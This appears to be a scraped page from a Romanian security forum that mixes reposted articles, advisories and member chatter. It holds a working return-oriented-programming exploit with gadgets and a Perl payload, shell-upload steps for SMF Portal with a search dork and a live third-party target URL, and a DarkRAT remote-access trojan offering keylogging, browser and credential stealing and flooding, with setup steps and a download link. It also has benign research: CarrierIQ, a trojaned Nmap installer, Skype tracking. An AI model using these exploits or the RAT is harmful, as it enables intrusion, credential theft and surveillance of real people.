Nytro

Advanced Return-Oriented Exploit By funkyG on May 5th, 2010 This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc. A vulnerable program that I am going to use is a modified version of gera’s in [1]. Here, we do not have stack canary protection, but I am going to make it much harder by modifying the code a little bit: adding an exit system call, and employing stack and libc address randomization (ASLR). The modified version is shown below: #include #include #include int func(char *msg) { char buf[80]; strcpy(buf,msg); buf[0] = toupper(buf[0]); strcpy(msg,buf); [URL="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"]printf[/URL](“Caps: %s\n“,msg); exit(1); } int main(int argv, char** argc) { func(argc[1]); } 1. Vulnerability There is a classic strcpy vulnerability in the func function. Two consecutive strcpy call enables us to write arbitrary values in an arbitrary address: first, modify the value of the msg from the first strcpy, and then write arbitrary values from the second strcpy. Note that overwriting the return address of func is not enough because it is protected with exit system call. It is more clear if you look at the disassembled version of the program: 080484b4 : 80484b4: 55 push %ebp 80484b5: 89 e5 mov %esp,%ebp 80484b7: 83 ec 58 sub $0×58,%esp 80484ba: 8b 45 08 mov 0×8(%ebp),%eax 80484bd: 89 44 24 04 mov %eax,0×4(%esp) 80484c1: 8d 45 b0 lea -0×50(%ebp),%eax 80484c4: 89 04 24 mov %eax,(%esp) 80484c7: e8 04 ff ff ff call 80483d0 80484cc: 0f b6 45 b0 movzbl -0×50(%ebp),%eax 80484d0: 0f be c0 movsbl %al,%eax 80484d3: 89 04 24 mov %eax,(%esp) 80484d6: e8 d5 fe ff ff call 80483b0 80484db: 88 45 b0 mov %al,-0×50(%ebp) 80484de: 8d 45 b0 lea -0×50(%ebp),%eax 80484e1: 89 44 24 04 mov %eax,0×4(%esp) 80484e5: 8b 45 08 mov 0×8(%ebp),%eax 80484e8: 89 04 24 mov %eax,(%esp) 80484eb: e8 e0 fe ff ff call 80483d0 80484f0: 8b 45 08 mov 0×8(%ebp),%eax 80484f3: 89 44 24 04 mov %eax,0×4(%esp) 80484f7: c7 04 24 00 86 04 08 movl $0×8048600,(%esp) 80484fe: e8 dd fe ff ff call 80483e0 8048503: c7 04 24 01 00 00 00 movl $0×1,(%esp) 804850a: e8 e1 fe ff ff call 80483f0 0804850f : 804850f: 8d 4c 24 04 lea 0×4(%esp),%ecx 8048513: 83 e4 f0 and $0xfffffff0,%esp 8048516: ff 71 fc pushl -0×4(%ecx) 8048519: 55 push %ebp 804851a: 89 e5 mov %esp,%ebp 804851c: 51 push %ecx 804851d: 83 ec 14 sub $0×14,%esp 8048520: 8b 41 04 mov 0×4(%ecx),%eax 8048523: 83 c0 04 add $0×4,%eax 8048526: 8b 00 mov (%eax),%eax 8048528: 89 04 24 mov %eax,(%esp) 804852b: e8 84 ff ff ff call 80484b4 8048530: 83 c4 14 add $0×14,%esp 8048533: 59 pop %ecx 8048534: 5d pop %ebp 8048535: 8d 61 fc lea -0×4(%ecx),%esp 8048538: c3 ret 080484b4 : 80484b4: 55 push %ebp 80484b5: 89 e5 mov %esp,%ebp 80484b7: 83 ec 58 sub $0×58,%esp 80484ba: 8b 45 08 mov 0×8(%ebp),%eax 80484bd: 89 44 24 04 mov %eax,0×4(%esp) 80484c1: 8d 45 b0 lea -0×50(%ebp),%eax 80484c4: 89 04 24 mov %eax,(%esp) 80484c7: e8 04 ff ff ff call 80483d0 80484cc: 0f b6 45 b0 movzbl -0×50(%ebp),%eax 80484d0: 0f be c0 movsbl %al,%eax 80484d3: 89 04 24 mov %eax,(%esp) 80484d6: e8 d5 fe ff ff call 80483b0 80484db: 88 45 b0 mov %al,-0×50(%ebp) 80484de: 8d 45 b0 lea -0×50(%ebp),%eax 80484e1: 89 44 24 04 mov %eax,0×4(%esp) 80484e5: 8b 45 08 mov 0×8(%ebp),%eax 80484e8: 89 04 24 mov %eax,(%esp) 80484eb: e8 e0 fe ff ff call 80483d0 80484f0: 8b 45 08 mov 0×8(%ebp),%eax 80484f3: 89 44 24 04 mov %eax,0×4(%esp) 80484f7: c7 04 24 00 86 04 08 movl $0×8048600,(%esp) 80484fe: e8 dd fe ff ff call 80483e0 8048503: c7 04 24 01 00 00 00 movl $0×1,(%esp) 804850a: e8 e1 fe ff ff call 80483f0 0804850f : 804850f: 8d 4c 24 04 lea 0×4(%esp),%ecx 8048513: 83 e4 f0 and $0xfffffff0,%esp 8048516: ff 71 fc pushl -0×4(%ecx) 8048519: 55 push %ebp 804851a: 89 e5 mov %esp,%ebp 804851c: 51 push %ecx 804851d: 83 ec 14 sub $0×14,%esp 8048520: 8b 41 04 mov 0×4(%ecx),%eax 8048523: 83 c0 04 add $0×4,%eax 8048526: 8b 00 mov (%eax),%eax 8048528: 89 04 24 mov %eax,(%esp) 804852b: e8 84 ff ff ff call 80484b4 8048530: 83 c4 14 add $0×14,%esp 8048533: 59 pop %ecx 8048534: 5d pop %ebp 8048535: 8d 61 fc lea -0×4(%ecx),%esp 8048538: c3 ret 2. Observation and Strategy We can only modify a single memory region, but it must not be the return address because of the exit system call. There are several possible spots including dtors and GOT. In this example, I am going to overwrite GOT entry of printf function. GOT is typically in the code section of a program and its address is not randomized. Now we can hijack the control flow when the printf is called, so the next step is to determine where to jump. We cannot simply return to libc because its address is randomized (we are not going to use brute force here). However, we know that the code section’s addresses are fixed, and we are going to use return-oriented programming technique described introduced by Hovav [2]. In this problem, we can only use the code section of this small program, thus there is very small number of gadgets available. The return-oriented program that we are going to design runs as follows: 1) retrieve an address to libc’s strcpy function from the GOT, 2) compute the relative address from strcpy function to system function, 3) obtain the address of the system function from the step 1 and 2, 4) set up the stack to have a pointer to “/bin/sh” string, 5) jump to the system function using indirect call (call *%eax). 3. Gadgets We are going to use the following 4 gadgets that we can find from the code section to perform the exploitation. 1) 0x80485a2 : add $0xc,%esp 0x80485a5 : pop %ebx 0x80485a6 : pop %esi 0x80485a7 : pop %edi 0x80485a8 : pop %ebp 0x80485a9 : ret 2) 0x804838c : pop %eax 0x804838d : pop %ebx 0x804838e : leave 0x804838f : ret 3) 0x80485ce : add 0xf475fff8(%ebx),%eax 0x80485d4 : add $0×4,%esp 0x80485d7 : pop %ebx 0x80485d8 : pop %ebp 0x80485d9 : ret 4) 0x80484af : call *%eax 4. Final Exploit Using the above four gadgets, I introduce the following exploit. Note this exploit is not just a simple return-oriented programming exploit, there are many techniques involved: 1) It dynamically retrieves system function’s address from the GOT 2) changes the ebp register to point to the bss section so that we can control the esp and ebp continuously. 3) Set up the stack address to have enough space for system call. First, the second gadget sets up the eax and ebx values that are used in the third gadget to compute the system function’s address. The result of the “add 0xf475fff8(%ebx), %eax” instruction must produce the address of system function in libc. Specifically, 0xf475fff8(%ebx) must point to the strcpy’s GOT entry, so the strcpy’s address in libc is added with the value in eax register. Changing the ebp register in the first gadget is the most tricky part. In the first gadget, we set up the ebp to point to a writable bss section (More precisely, beyond the bss section). Since the address of 0x804a2e8 is a writable region, we can set the address for ebp and esp. In the second gadget, we can set up the esp value by using the leave instruction. Thus after the second gadget, both the ebp and the esp will point to the addresses of the bss section. The final exploit in perl is shown below: print “\xa2\x85\x04\x08? . # First Gadget “AAAAAAAA” . # dummy “\xe8\xa2\x04\x08? . # set ebp, poing to line 9 of this exploit string “\x8c\x83\x04\x08? . # Second gadget “\xc0\x52\xfc\xff” .“\x14\xa0\x8e\x13AAAA” . “/bin/sh;” . “A”x48 . “\x10\xa0\x04\x08? . # GOT entry address of printf “\x30\xa0\x04\x08?x0xa0 . # dummy “\xce\x85\x04\x08? . “\x30\xa0\x04\x08?x0x2 . # dummy “\x30\xa0\x04\x08? . # dummy ebp “\xaf\x84\x04\x08? . # call *%eax “\x30\xa0\x04\x08?; I also attach the binary file for people who are interested. (Download) 5. Conclusion There are many possible way of bypassing ASLR protections. Here, I present a way to exploit the return-oriented programming technique in a very limited environment: small code space, randomized stack and randomized libc. Sursa: Advanced Return-Oriented Exploit | divine-protection.com

[h=2]MS11-080 – A Voyage into Ring Zero[/h] Posted Dec 6 2011 by dookie with Comments Off Every patch Tuesday, we, like many in the security industry, love to analyze the released patches and see if any of them can lead to the development of a working exploit. Recently, the MS11-080 advisory caught our attention as it afforded us the opportunity to play in the kernel and try to get a working privilege escalation exploit out of it. Articol: http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/

I Know Where You are and What You are Sharing Exploiting P2P Communications to Invade Users’ Privacy Stevens Le Blond Chao Zhang Arnaud Legout Keith Ross Walid Dabbous MPI-SWS, Germany NYU-Poly, USA INRIA, France ABSTRACT In this paper, we show how to exploit real-time communication applications to determine the IP address of a targeted user. We focus our study on Skype, although other realtime communication applications may have similar privacy issues. We first design a scheme that calls an identifiedtargeted user inconspicuously to find his IP address, which can be done even if he is behind a NAT. By calling the user periodically, we can then observe the mobility of the user. We show how to scale the scheme to observe the mobility patterns of tens of thousands of users. We also consider the linkability threat, in which the identified user is linked to his Internet usage. We illustrate this threat by combining Skype and BitTorrent to show that it is possible to determine the filesharing usage of identified users. We devise a scheme based on the identification field of the IP datagrams to verify with high accuracy whether the identified user is participating in specific torrents. We conclude that any Internet user can leverage Skype, and potentially other real-time communication systems, to observe the mobility and filesharing usage of tens of millions of identified users. Download: http://cis.poly.edu/~ross/papers/skypeIMC2011.pdf

[h=1]VoIP Hopper Video Tutorials[/h] By Irfan Shakeel Posted in: Open Source, Tutorial, VoIP, Wireless As we have discussed before about VoIP hopper the IP based phone VLAN (virtual LAN) hopper, in the previous tutorial we have seen the theoretical background and the feature of VoIP hopper but in this article we will share three videos of VoIP hopper in which you will see the functionality of voip hopper. [h=3]Tutorial 1: Assessment Mode video tutorial for VoIP Hopper[/h] A tutorial demonstrating the new, exciting features for Assessment mode. Until I can integrate DHCP spoofing for Avaya/Nortel into assessment mode, I've also shown how to do both Avaya and Nortel VLAN discovery at the end of the video. [h=3]Tutorial 2: LLDP-MED features of VoIP Hopper[/h]A tutorial demonstrating the new LLDP-MED capabilities. [h=3]Tutorial 3: Hotel Exploit Demo ~ When DHCP is disabled[/h]A tutorial demonstrating the same live demo showed at DefCon 19, in which DHCP was disabled on the VoIP VLAN subnet. VoIP Hopper can still VLAN Hop and spoof the IP and MAC address of an IP Phone, as selected by the user. This is a demonstration of the "s" option of Assessment mode. Sursa: VoIP Hopper Video Tutorials

SMF Portal 1.1.15 Shell Upload Authored by HELLBOY SMF Portal version 1.1.15 suffers from a shell upload vulnerability Posted Dec 6, 2011 In The Name Of GOD ============================================================================== SMF Portal 1.1.15 (fckeditor) Arbitrary File Upload Vulnerability ============================================================================== [»] Title : [ SMF Portal 1.1.15 (fckeditor) Arbitrary File Upload Vulnerability ] [»] TestedON: [ LINUX ] [»] Download: [ http://www.simplemachines.org/ ] [»] Author : [ HELLBOY } [»] Email : [ A68_HELLBOY@YAHOO.COM ] [»] Date : [ 2011-12-2 ] [»] Version : [ 1.1.15 ] [»] Dork : [ "Powered by SMF 1.1.15" ] ########################################################################### InformatioN : 1. Go to url : http://Target/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php 2. SELECT You'r Shell and Click OK. 3. Formats can be uploaded (Php6,Jpg,gif,Xml,...) 4. Uploaded File Location : Target.com/tp-images/File/File Name ########################################################################### ===[ Exploit ]=== [»] http://Target/[patch]/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php [»] http://Target/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php ===[ Demo ]=== [»] http://theartglassfactory.com/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php ===[ We Are : ./Iranian HackerZ ]=== Greetz : BLACK.VIPER , SKOTE_VAHSHAT , KINGCOPE TBH : HELLBOY , BLACK.VIPER , SKOTE_VAHSHAT , KINGCOPE ########################################################################### Sursa: http://packetstormsecurity.org/files/107543

Weaning the Web off of Session Cookies Making Digest Authentication Viable Version 1.0 Timothy D. Morgan January 26, 2010 Contents Abstract...........................................................................................................................................................1 Introduction....................................................................................................................................................1 Cookie-based Session Management.............................................................................................................1 HTTP Digest Authentication.......................................................................................................................2 RFC 2069 Mode................................................................................................................................................................................2 auth Mode..........................................................................................................................................................................................2 auth-int Mode....................................................................................................................................................................................3 Comparison....................................................................................................................................................3 Pitfalls of Cookie-based Sessions..................................................................................................................................................3 Limitations of Digest Authentication...........................................................................................................................................5 Comparison Summary.....................................................................................................................................................................6 Possible Solutions...........................................................................................................................................8 Form-based HTTP Authentication...............................................................................................................................................8 Approaches for Logout...................................................................................................................................................................9 Practical Concerns.......................................................................................................................................11 Immature Digest Implementations.............................................................................................................................................11 Weak User Interfaces for HTTP Authentication....................................................................................................................11 Application Server Support.........................................................................................................................................................13 Conclusion....................................................................................................................................................14 Acknowledgements.....................................................................................................................................14 References.....................................................................................................................................................15 Download: http://vsecurity.com/download/papers/WeaningTheWebOffOfSessionCookies.pdf

Recovering deleted data from the Windows registry Timothy D. Morgan VSR Investigations, LLC, Boston, Massachusetts, United States a b s t r a c t The Windows registry serves as a primary storage location for system configurations and as such provides a wealth of information to investigators. Numerous researchers have worked to interpret the information stored in the registry from a digital forensic standpoint, but no definitive resource is yet available which describes how Windows deletes registry data structures under NT-based systems. This paper explores this topic and provides an algorithm for recovering deleted keys, values, and other structures in the context of the registry as awhole. ª 2008 Digital Forensic Research Workshop. Published by Elsevier Ltd. All rights reserved. 1. Introduction The Windows registry stores a wide variety of information, including core system configurations, user-specific configuration, information on installed applications, and user credentials. In addition, each registry key records a time stamp when modified which can aid in event reconstruction. This makes the Windows registry a critical resource for digital forensic investigations conducted against the Windows platform, as numerous researchers have shown. Little information has been published by Microsoft related to the specifics of how registry information is organized into data structures on disk. Fortunately, various open source projects have worked to understand and publish these technical details in order to write software compatible with Microsoft’s registry format. However, no public resource was yet available describing what happens to registry data when it is deleted under Windows NT-based systems, 1 let alone how a forensic examiner might reliably recover this information in the context of a registry hive. Here, we attempt to shed light on questions related to the deletion of registry data structures and suggest an algorithm for recovering this information. Download: http://www.dfrws.org/2008/proceedings/p33-morgan.pdf

[Web Backdoors] [Attack, Evasion and Detection] [fb1h2s aka Rahul Sasi] Meet Us at http://www.Garage4Hackers.com FB1H2S Abstract: This paper provides insight on common web back doors and how simple manipulations could make them undetectable by AV and other security suits. Paper explains few techniques that could be used to render undetectable and unnoticed backdoors inside web applications. This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and analysis of a couple of web shells. Current paper takes this topic further and explains a couple of methodologies that could be used to make stealth application layer backdoors using web scripting languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used to stay undetected . Download: http://dl.packetstormsecurity.net/papers/general/web_backdoors_evasion_detection.pdf

[h=2]CarrierIQ: The Real Story[/h] Since the beginning of the media frenzy over CarrierIQ, I have repeatedly stated that based on my knowledge of the software, claims that keystrokes, SMS bodies, email bodies, and other data of this nature are being collected are erroneous. I have also stated that to satisfy users, it’s important that there be increased visibility into what data is actually being collected on these devices. This post represents my findings on how CarrierIQ works, and what data it is capable of collecting. [h=1]CarrierIQ Architecture Overview[/h] There has been a lot of misinformation about which parties are responsible for which aspects of data collection. At a high level, CarrierIQ is a piece of software installed on phones that accepts pieces of information known as metrics. On receiving a submitted metric, CIQ evaluates whether that metric is “interesting” based on the current profile installed on the device. Profiles dictate whether or not a piece of information is relevant for assessing a particular aspect of phone service, such as reception or battery usage. These profiles are written by CarrierIQ at the request of cell phone carriers. Note that the CarrierIQ application simply receives these metrics, collects them, and eventually uploads them to be analyzed by carriers. All of the code responsible for determining which metrics are submitted to CIQ for processing is integrated into the phone’s application stack by the handset manufacturers themselves. To get a complete picture of this, suppose a carrier decides it wants to know about dropped calls. The handset manufacturers who produce phones supported by that carrier instrument the application code such that a metric is submitted to the CarrierIQ application when a call is dropped. When the CIQ application receives this metric, it evaluates whether or not to actually record this data and send it to the carrier based on the profile installed on the device. [h=1]What Metrics are Available?[/h] I have completed an analysis of a deployment of CarrierIQ on the Samsung Epic 4G Touch. In this analysis, I enumerated every CarrierIQ-related hook integrated into the Android framework and examined what metrics can possibly be collected, and just as importantly, in what situations. This list does not include metrics that may be submitted by the baseband, which include additional radio and telephony information. The following table represents my findings: [TABLE] [TR] [TD]Metric ID[/TD] [TD]Metric[/TD] [TD]Data Sent[/TD] [TD]Situation[/TD] [/TR] [TR] [TD]AL34, AL35, AL36[/TD] [TD]Browser page render event[/TD] [TD]Internal page ID, no data related to page contents or URL[/TD] [TD]Page renders[/TD] [/TR] [TR] [TD]LC18, LC30[/TD] [TD]Location event[/TD] [TD]GPS and non-GPS location data[/TD] [TD]Location changes, telephony-related events[/TD] [/TR] [TR] [TD]NT0F, NT10[/TD] [TD]HTTP event[/TD] [TD]Request type, content length, local port, status code, URL, no page contents[/TD] [TD]HTTP request sent or response received[/TD] [/TR] [TR] [TD]NT07[/TD] [TD]Network event[/TD] [TD]Internal identifier[/TD] [TD]Network state changes[/TD] [/TR] [TR] [TD]DO3M, GS18, GS19, GS46, GS47, GS6E, RF02, RF04, RF05, RF1A, RF55[/TD] [TD]Telephony/radio events[/TD] [TD]Misc. radio and telephony data[/TD] [TD]Call dropped, service issues, radio event, etc.[/TD] [/TR] [TR] [TD]HW03, HW10, HW11[/TD] [TD]Hardware event[/TD] [TD]Battery level, voltage, temperature, etc.[/TD] [TD]Hardware state change[/TD] [/TR] [TR] [TD]UI01[/TD] [TD]Keystroke event[/TD] [TD]Keycode[/TD] [TD]Key pressed in phone dialer only[/TD] [/TR] [TR] [TD]UI08, UI09[/TD] [TD]Miscellaneous GUI events[/TD] [TD]Network type, battery state[/TD] [TD]GUI state changes[/TD] [/TR] [TR] [TD]GS01, GS02, GS03, LO03[/TD] [TD]Call event[/TD] [TD]CallerID, state, phone number[/TD] [TD]Call initiated, received, or failed[/TD] [/TR] [TR] [TD]UI13, UI15, UI19[/TD] [TD]Application event[/TD] [TD]Application name[/TD] [TD]New app, app stopped, app gained/lost focus[/TD] [/TR] [TR] [TD]QU04, QU05[/TD] [TD]Questionnaire event[/TD] [TD]Question data[/TD] [TD]Questionnaire completed[/TD] [/TR] [TR] [TD]MG01, MG02[/TD] [TD]SMS event[/TD] [TD]Message length, phone number, status, no message body[/TD] [TD]SMS received or sent[/TD] [/TR] [/TABLE] [h=1]Interpreting These Findings[/h] There are a number of important conclusions that can be drawn from this information: 1. CarrierIQ cannot record SMS text bodies, web page contents, or email content even if carriers and handset manufacturers wished to abuse it to do so. There is simply no metric that contains this information. 2. CarrierIQ (on this particular phone) can record which dialer buttons are pressed, in order to determine the destination of a phone call. I’m not a lawyer, but I would expect cell carriers already have legal access to this information. 3. CarrierIQ (on this particular phone) cannot record any other keystrokes besides those that occur using the dialer. 4. CarrierIQ can report GPS location data in some situations. 5. CarrierIQ can record the URLs that are being visited (including for HTTPS resources), but not the contents of those pages or other HTTP data. One important thing to note is that this represents the metrics that are submitted to the CarrierIQ application by the code written by Samsung. The list of available metrics are carrier specific, but will remain constant on a given handset model. The subset of this data that is actually recorded and collected is at the discretion of the carrier, and is based on the profile installed on the device. Edit: There have been comments made about use of the word “cannot” versus “does not”. I am using the word “cannot” literally, as in “is not capable of, in the present tense, without being altered by modifying its code and installing a new version on the phone”. It seems obvious to me that CarrierIQ could be modified in the future to perform nefarious actions: so could any application on your phone. Keep in mind CIQ is integrated by the OEM and to my knowledge has never been modified after installation, except in terms of profiles, which simply dictate which subset of available metrics defined by the OEM are collected. [h=1]Why Do They Gather This Data?[/h] Taking this information into account, all of the data that is potentially being collected supports CarrierIQ’s claims that its data is used for diagnosing and fixing network, application, and hardware failures. Every metric in the above table has potential benefits for improving the user experience on a cell phone network. If carriers want to improve coverage, they need to know when and where calls are dropped. If handset manufacturers want to improve battery life on phones, knowledge of which applications consume the most battery life is essential. Consumers will have their own opinions about whether the collection of this data falls under the terms set by service agreements, but it’s clear to me that the intent behind its collection is not only benign, but for the purposes of helping the user. [h=1]Conclusions[/h] Based on my research, CarrierIQ implements a potentially valuable service designed to help improve user experience on cellular networks. However, I want to make it clear that just because I do not see any evidence of evil intentions does not mean that what’s happening here is necessarily right. I believe the following points need to be addressed. Note that most of the burden in this situation falls not on CarrierIQ but on the handset manufacturers and carriers, who are ultimately responsible for both collecting this information and establishing service agreements with consumers. 1. Consumers need to be able to opt out of any sort of data collection. This option would need to be provided by carriers and handset manufacturers. 2. There needs to be more transparency on the part of carriers in terms of what data is being collected from users. 3. There needs to be third-party oversight on what data is collected to prevent abuse. 4. The verbose debugging logs demonstrated in Trevor Eckhart’s are a risk to privacy, and should be corrected by HTC (the author of the responsible code) by disabling these debugging messages. 5. The legality of gathering full URLs with query parameters and other data of this nature should be examined. Footnote: Neither I nor my employer (VSR) have ever had a professional relationship with CarrierIQ, handset manufacturers, or cellular providers. This research was conducted independently by me. Edit: In the interest of full disclosure, after completing this research, I provided it to CarrierIQ, who confirmed my technical findings. This entry was posted on Monday, December 5th, 2011 at 12:42 am and is filed under Android. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed. Sursa: Security Research by Dan Rosenberg

In sfarsit ceva interesant si pentru mine. Thanks.

Clar, infecteaza. Am scos link-ul.

Nu e de la tema sau forum, sunt niste setari de securitate pe server. Voi discuta cu tex. Cat despre conturi, rezolv astazi daca ajung devreme acasa.

C|Net Download.Com is now bundling Nmap with malware! From: Fyodor <fyodor () insecure org> Date: Mon, 5 Dec 2011 14:35:30 -0800 Hi Folks. I've just discovered that C|Net's Download.Com site has started wrapping their Nmap downloads (as well as other free software like VLC) in a trojan installer which does things like installing a sketchy "StartNow" toolbar, changing the user's default search engine to Microsoft Bing, and changing their home page to Microsoft's MSN. The way it works is that C|Net's download page (screenshot attached) offers what they claim to be Nmap's Windows installer. They even provide the correct file size for our official installer. But users actually get a Cnet-created trojan installer. That program does the dirty work before downloading and executing Nmap's real installer. Of course the problem is that users often just click through installer screens, trusting that download.com gave them the real installer and knowing that the Nmap project wouldn't put malicious code in our installer. Then the next time the user opens their browser, they find that their computer is hosed with crappy toolbars, Bing searches, Microsoft as their home page, and whatever other shenanigans the software performs! The worst thing is that users will think we (Nmap Project) did this to them! I took and attached a screen shot of the C|Net trojan Nmap installer in action. Note how they use our registered "Nmap" trademark in big letters right above the malware "special offer" as if we somehow endorsed or allowed this. Of course they also violated our trademark by claiming this download is an Nmap installer when we have nothing to do with the proprietary trojan installer. In addition to the deception and trademark violation, and potential violation of the Computer Fraud and Abuse Act, this clearly violates Nmap's copyright. This is exactly why Nmap isn't under the plain GPL. Our license (http://nmap.org/book/man-legal.html) specifically adds a clause forbidding software which "integrates/includes/aggregates Nmap into a proprietary executable installer" unless that software itself conforms to various GPL requirements (this proprietary C|Net download.com software and the toolbar don't). We've long known that malicious parties might try to distribute a trojan Nmap installer, but we never thought it would be C|Net's Download.com, which is owned by CBS! And we never thought Microsoft would be sponsoring this activity! It is worth noting that C|Net's exact schemes vary. Here is a story about their shenanigans: http://www.extremetech.com/computing/93504-download-com-wraps-downloads-in-bloatware-lies-about-motivations It is interesting to compare the trojaned VLC screenshot in that article with the Nmap one I've attached. In that case, the user just clicks "Next step" to have their machine infected. And they wrote "SAFE, TRUSTED, AND SPYWARE FREE" in the trojan-VLC title bar. It is telling that they decided to remove that statement in their newer trojan installer. In fact, if we UPX-unpack the Trojan CNet executable and send it to VirusTotal.com, it is detected as malware by Panda, McAfee, F-Secure, etc: http://bit.ly/cnet-nmap-vt According to Download.com's own stats, hundreds of people download the trojan Nmap installer every week! So the first order of business is to notify the community so that nobody else falls for this scheme. Please help spread the word. Of course the next step is to go after C|Net until they stop doing this for ALL of the software they distribute. So far, the most they have offered is: "If you would like to opt out of the Download.com Installer you can submit a request to cnet-installer () cbsinteractive com All opt-out requests are carefully reviewed on a case-by-case basis." In other words, "we'll violate your trademarks and copyright and squandering your goodwill until you tell us to stop, and then we'll consider your request 'on a case-by-case basis' depending on how much money we make from infecting your users and how scary your legal threat is. F*ck them! If anyone knows a great copyright attorney in the U.S., please send me the details or ask them to get in touch with me. Also, shame on Microsoft for paying C|Net to trojan open source software! Cheers, Fyodor Sursa: http://seclists.org/nmap-hackers/2011/5

Alti suporteri de tastatura...

Edit: Am inteles gresit, scuze.

Taci acolo. Muie Steaua.

Nu e nimic rau in a reinventa roata, intotdeauna e loc de o roata mai buna. Felicitari.

Pfff. Isi pune omu o imagine pe site si gata, e spart... Nu e niciun deface.

Cam prostie faza cu steal.cpp. Din C poti atat sa citesti fisiere cat si sa le uploadezi prin FTP sau altceva, si nu e deloc complicat. Si daca e facut totul din C te scapa de orice fel de dependinte. Dar ideea e buna, insa mai dificila e partea cu "infectatul".

http://www.youtube.com/watch?v=HBvIg_w1_Rw

Pff, de maine nu cred ca vor mai fi astfel de probleme. Ii rog pe cei carora le-au disparut conturile sa posteze: 1. Username - Sa isi creeze unul identic (cu membri VIP voi discuta in particular) 2. Link catre un post de pe vechiul cont sau user ID-ul username-ului vechi daca il stie Dar mai bine verific ce alte probleme pot sa apara, pe unde mai sunt foreign keys cu user id-ul vechi. O sa ma ocup diseara de asta daca am timp.

Astept de la HellScream alte probleme in afara de reputatie, semnatura si lista prieteni. Apoi o sa procedez la fel si cu celelalte conturi.

Posteaza si o mica descriere te rog. Nu cred ca are rost sa "ascunzi" link-urile. Mutat la Wireless.

[h=2]iPhone-urile explodeaz?. La propriu[/h]4 decembrie 2011, 11:45 | Autor: Ramona Dragomir Telefoanele inteligente ale Apple pun în pericol de moarte utilizatorii. S?pt?mâna trecut?, pasagerii unui avion au asistat la o întâmplare care i-a l?sat mu?i de uimire. Un iPhone 4 s-a aprins în momentul ateriz?rii începând s? fumege dens, acesta fiind acompaniat de o tent? ro?iatic? a carcasei. La doar câteva zile de la acest indicent, un b?rbat din Brazilia a asistat la o scen? asem?n?toare: telefonul a început s? scoat? fum ?i din el s? sar? scântei. „Smartphone-ul era conectat la priz?, pentru a se înc?rca. Totul s-a petrecut noaptea, când proprietarul dormea", potrivit „The Sun". Tragedia provocat? de un incendiu a putut fi evitat? doar pentru c? utilizatorul a observat scânteile. Piese contraf?cute Speciali?tii în domeniu încearc? s? elucideze cauzele care au dus la producerea acestor incidente. Ei sus?in c? în ambele cazuri, problemele sunt cauzate de utilizarea unor componente contraf?cute: baterii sau alte piese. Sursa: http://www.adevarul.ro/life/viata/iPhone-urile_explodeaza-_La_propriu_0_602939812.html

[h=5]DarkRAT v11.2 PHP RAT[/h]Nu l-am testat, nu stiu daca e infectat, nu sunt raspunzator de nimic. Features : [?] -Restart [?] -Hibernate [?] -Logoff [?] -Open CDROM [?] -Close CDROM [?] -Mouse (0,0) [?] -Block Site [?] -Close process [?] -Delete File [?] -Set IE Home Page [?] -Set Clipboard [?] -Draw on screen [?] -Clean RecycleBin [?] -Block USB Write [?] -Unblock USB Write [?] -Set time [?] -Corrupt File [?] -Delete IE Cookies [?] -Delete IE History [?] -Delete IE Form data [?] -Delete IE Temp files [?] -Turn on monitor [?] -Turn off monitor [?] -Flip screen [?] -Un flipscreen [?] -Start screensaver [?] -Stop screensaver [?] -Mouse Clicker [?] -Swap Mouse - Left [?] -Swap Mouse - Right [?] -Disable Keyboard/Mouse [?] -Enable Keyboard/Mouse [?] -Disable desktop [?] -Enable desktop [?] -Focus desktop [?] -Show clock [?] -Hide clock [?] -Hide notify [?] -Show notify [?] -Mute sound [?] -Suspend proces [?] -Resume proces [?] -Hide taskbar [?] -Show taskbar [?] -Hide icons [?] -Show icons [?] -Change start button text [?] -Lock clipboard [?] -Unlock clipboard [?] -Turn on hidden files [?] -Turn off hidden files [?] -Change background [?] -Enable Taskmanager [?] -Disable Taskmanager [?] -Enable CMD [?] -Disable CMD [?] -Enable Registry [?] -Disable Registry [?] -Enable System Restore [?] -Disable System Restore [?] -Print [?] -Fake BSOD on [?] -Fake BSOD off [?] -Crazy CAPS Lock on [?] -Crazy CAPS Lock off [?] -Fake message [?] -Open program [?] -Open website [?] -Remote desktop [?] -Remote webcam [?] -Process manager [?] -Keylogger [?] -Chat [?] -UDP Flood [?] -PoD [?] -HTTP Flood [?] -Read Clipboard [?] -Filezilla data [?] -Camstasia Licence [?] -Windows Wallpaper Path [?] -SAMP Server Data [?] -Windows Product Key [?] -Firefox Data [?] -Last 25 Sites [?] -Default Browser Path [?] - Login system [?] - Customize your DarkRAT Background. [?] - Greater stability [?] - Icon changer [?] - Unlimited binder [?] - Improved security [?] - Chrome stealer [?] - Delete Clientregistry.blob(steam) Pequeño tutorial: 1- Upload la carpeta phh a tu servidor web 2- Dale permisos 777 (chmod) 3- Ejecuta "Dark RAT.exe" y escribe la direccion de donde subiste la carpeta "php" Ejemplo "http://tuweb.com/php/" 4- Luego dale a conectar y listo el cliente se conectara al servidor web al igual que el server (remoto) de esa forma no es necesario abrir ningun puerto en tu pc Download: http://www.megaupload.com/?d=J0SKO8J0 Fuente PD: Hace falta Framework Sursa: http://www.underc0de.org/foro/index.php?topic=7936.msg29577